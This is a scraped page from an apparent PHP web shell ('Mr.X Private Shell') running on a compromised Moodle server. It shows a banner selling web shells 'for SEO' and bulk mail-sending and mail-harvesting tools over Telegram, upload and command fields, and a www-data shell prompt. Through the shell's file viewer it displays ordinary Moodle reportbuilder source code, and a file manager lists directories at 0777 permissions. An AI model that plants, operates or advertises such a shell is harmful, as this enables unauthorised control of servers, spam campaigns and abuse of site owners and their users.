__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

declare(strict_types=1);

namespace core_reportbuilder;

use context;
use core_reportbuilder\local\models\report;
use core_reportbuilder\local\report\base;
use core_reportbuilder\exception\source_invalid_exception;

/**
 * Factory class for creating system report instances
 *
 * @package     core_reportbuilder
 * @copyright   2020 Paul Holden <paulh@moodle.com>
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class system_report_factory {

    /**
     * Create and return instance of given system report source
     *
     * @param string $source Class path of system report definition
     * @param context $context
     * @param string $component
     * @param string $area
     * @param int $itemid
     * @param array $parameters Simple key/value pairs, accessed inside reports using $this->get_parameter()
     * @return system_report
     * @throws source_invalid_exception
     */
    public static function create(string $source, context $context, string $component = '', string $area = '',
            int $itemid = 0, array $parameters = []): system_report {

        // Exit early if source isn't a system report.
        if (!manager::report_source_exists($source, system_report::class)) {
            throw new source_invalid_exception($source);
        }

        $report = static::get_report_persistent($source, $context, $component, $area, $itemid);

        return manager::get_report_from_persistent($report, $parameters);
    }

    /**
     * Given a report source, with accompanying context information, return a persistent report instance
     *
     * @param string $source
     * @param context $context
     * @param string $component
     * @param string $area
     * @param int $itemid
     * @return report
     */
    private static function get_report_persistent(string $source, context $context, string $component = '', string $area = '',
            int $itemid = 0): report {

        $reportdata = [
            'type' => base::TYPE_SYSTEM_REPORT,
            'source' => $source,
            'contextid' => $context->id,
            'component' => $component,
            'area' => $area,
            'itemid' => $itemid,
        ];

        if ($report = report::get_record($reportdata)) {
             return $report;
        }

        return manager::create_report_persistent((object) $reportdata);
    }
}

Filemanager

Name Type Size Permission Actions
event Folder 0777
exception Folder 0777
external Folder 0777
form Folder 0777
local Folder 0777
output Folder 0777
privacy Folder 0777
reportbuilder Folder 0777
table Folder 0777
task Folder 0777
datasource.php File 14.08 KB 0777
manager.php File 5.97 KB 0777
permission.php File 6.16 KB 0777
system_report.php File 10.82 KB 0777
system_report_factory.php File 3 KB 0777
Filemanager